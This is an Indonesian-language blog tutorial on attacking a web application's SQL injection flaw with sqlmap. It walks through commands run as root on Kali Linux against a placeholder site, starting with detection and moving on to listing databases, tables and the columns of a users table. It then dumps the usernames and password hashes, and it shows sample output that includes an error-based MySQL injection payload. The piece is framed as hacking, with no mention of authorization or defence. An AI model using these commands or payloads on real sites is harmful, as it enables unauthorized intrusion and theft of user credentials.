Tutorial Metode SQL Injection dengan SQLmap

Februari 02, 2017
SQL Injection
Sqlmap adalah salah satu alat sql injection paling populer dan powerfull. sqlmap dapat memanfaatkan remote database dan melakukan banyak hacking seperti mengekstrak nama database, tabel, kolom, semua data dalam tabel dll bahkan bisa membaca dan menulis file pada sistem file jarak jauh di bawah kondisi tertentu.Baca juga Bagaimana Cara Menjadi Hacker Profesional

Untuk memahami tutorial ini Anda harus memiliki pengetahuan yang mendalam tentang bagaimana database dan web aplikasi bekerja. Misalnya yang dibuat dengan php + mysql.


Katakanlah ada aplikasi web atau situs yang memiliki url di dalamnya seperti ini

http://www.vuln.com/section.php?id=51
dan rentan terhadap sql injection karena pengembang situs yang tidak benar memfilter parameter id. Hal ini dapat hanya diuji dengan mencoba untuk membuka url.
http://www.site.com/section.php?id=51'

Hacking Dengan sqlmap

Sekarang waktunya untuk beralih ke SqlMap hack url tersebut. Perintah sqlmap dijalankan dari terminal kali linux anda.
root@kali:~# sqlmap -u "http://www.vuln.com/section.php?id=51"
Di atas adalah yang pertama dan paling sederhana perintah untuk menjalankan dengan alat sqlmap. Ia memeriksa parameter masukan untuk menemukan jika mereka rentan terhadap injeksi sql atau tidak. Untuk sqlmap ini mengirimkan berbagai jenis muatan injeksi sql untuk parameter input dan memeriksa output. Dalam sqlmap proses ini juga mampu mengidentifikasi sistem remote os, nama database dan versi. Berikut adalah bagaimana output akan terlihat seperti
[*] starting at 12:10:33

[12:10:33] [INFO] resuming back-end DBMS 'mysql'
[12:10:34] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,
   (SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2)
   )x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
[12:10:37] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5

Menemukan Database

Setelah sqlmap membenarkan bahwa url tersebut rentan terhadap sql injection dan bisa untuk dieksploitasi langkah berikutnya adalah untuk mengetahui nama-nama database yang ada pada sistem tersebut. dengan menambahkan perintah "--dbs" digunakan untuk mendapatkan daftar database.
root@kali:~# sqlmap -u "http://www.vuln.com/section.php?id=51" --dbs
Hasilnya bisa menjadi sesuatu seperti ini
[*] starting at 12:12:56

[12:12:56] [INFO] resuming back-end DBMS 'mysql'
[12:12:57] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
   Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,
   (SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2)
   )x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
[12:13:00] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[12:13:00] [INFO] fetching database names
[12:13:00] [INFO] the SQL query used returns 2 entries
[12:13:00] [INFO] resumed: information_schema
[12:13:00] [INFO] resumed: safecosmetics
available databases [2]:
[*] information_schema
[*] safecosmetics
 
Sekarang waktunya untuk mencari tahu apa yang ada dalam tabel database tertentu. Katakanlah database menarik di sini adalah 'safecosmetics'
root@kali:~# sqlmap -u "http://www.vuln.com/section.php?id=51" --tables -D safecosmetics

dan hasilnya dapat menjadi sesuatu yang mirip dengan ini
[11:55:18] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[11:55:18] [INFO] fetching tables for database: 'safecosmetics'
[11:55:19] [INFO] heuristics detected web page charset 'ascii'
[11:55:19] [INFO] the SQL query used returns 216 entries
[11:55:20] [INFO] retrieved: acl_acl
[11:55:21] [INFO] retrieved: acl_acl_sections
........... more tables


Memperoleh kolom tabel


Sekarang kita memiliki daftar tabel dengan kami, itu akan menjadi ide yang baik untuk mendapatkan kolom beberapa tabel penting. Katakanlah tabel tersebut adalah 'users' dan berisi username dan password.
root@kali:~# sqlmap -u "http://www.vuln.com/section.php?id=51" --columns -D safecosmetics -T users

Hasilnya dapat menjadi sesuatu seperti ini
[12:17:39] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[12:17:39] [INFO] fetching columns for table 'users' in database 'safecosmetics'
[12:17:41] [INFO] heuristics detected web page charset 'ascii'
[12:17:41] [INFO] the SQL query used returns 8 entries
[12:17:42] [INFO] retrieved: id
[12:17:43] [INFO] retrieved: int(11)
[12:17:45] [INFO] retrieved: name
[12:17:46] [INFO] retrieved: text
[12:17:47] [INFO] retrieved: password
[12:17:48] [INFO] retrieved: text

.......

[12:17:59] [INFO] retrieved: hash
[12:18:01] [INFO] retrieved: varchar(128)
Database: safecosmetics
Table: users
[8 columns]
+-------------------+--------------+
| Column | Type |
+-------------------+--------------+
| email | text |
| hash | varchar(128) |
| id | int(11) |
| name | text |
| password | text |
| permission | tinyint(4) |
| system_allow_only | text |
| system_home | text |
+-------------------+--------------+


Mendapatkan data dari tabel


Sekarang sampai pada bagian yang paling menarik, penggalian data dari tabel. dengan perintah
root@kali:~# sqlmap -u "http://www.vuln.com/section.php?id=51" --dump -D safecosmetics -T users

Perintah di atas hanya akan membuang data dari tabel tertentu, sangat banyak seperti perintah mysqldump. Hasilnya mungkin terlihat seperti ini
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+
| id | hash | name | email | password | permission | system_home | system_allow_only |
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+
| 1 | 5DIpzzDHFOwnCvPonu | admin | | | 3 | | |
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+

Artikel Terkait

Next Article
« Prev Post
Previous Article
Next Post »
Penulisan markup di komentar
  • Untuk menulis huruf bold silahkan gunakan <strong></strong> atau <b></b>.
  • Untuk menulis huruf italic silahkan gunakan <em></em> atau <i></i>.
  • Untuk menulis huruf underline silahkan gunakan <u></u>.
  • Untuk menulis huruf strikethrought silahkan gunakan <strike></strike>.
  • Untuk menulis kode HTML silahkan gunakan <code></code> atau <pre></pre> atau <pre><code></code></pre>, dan silahkan parse dulu kodenya pada kotak parser di bawah ini.
Konversi Code
Disqus
Silahkan Berkomentar Dengan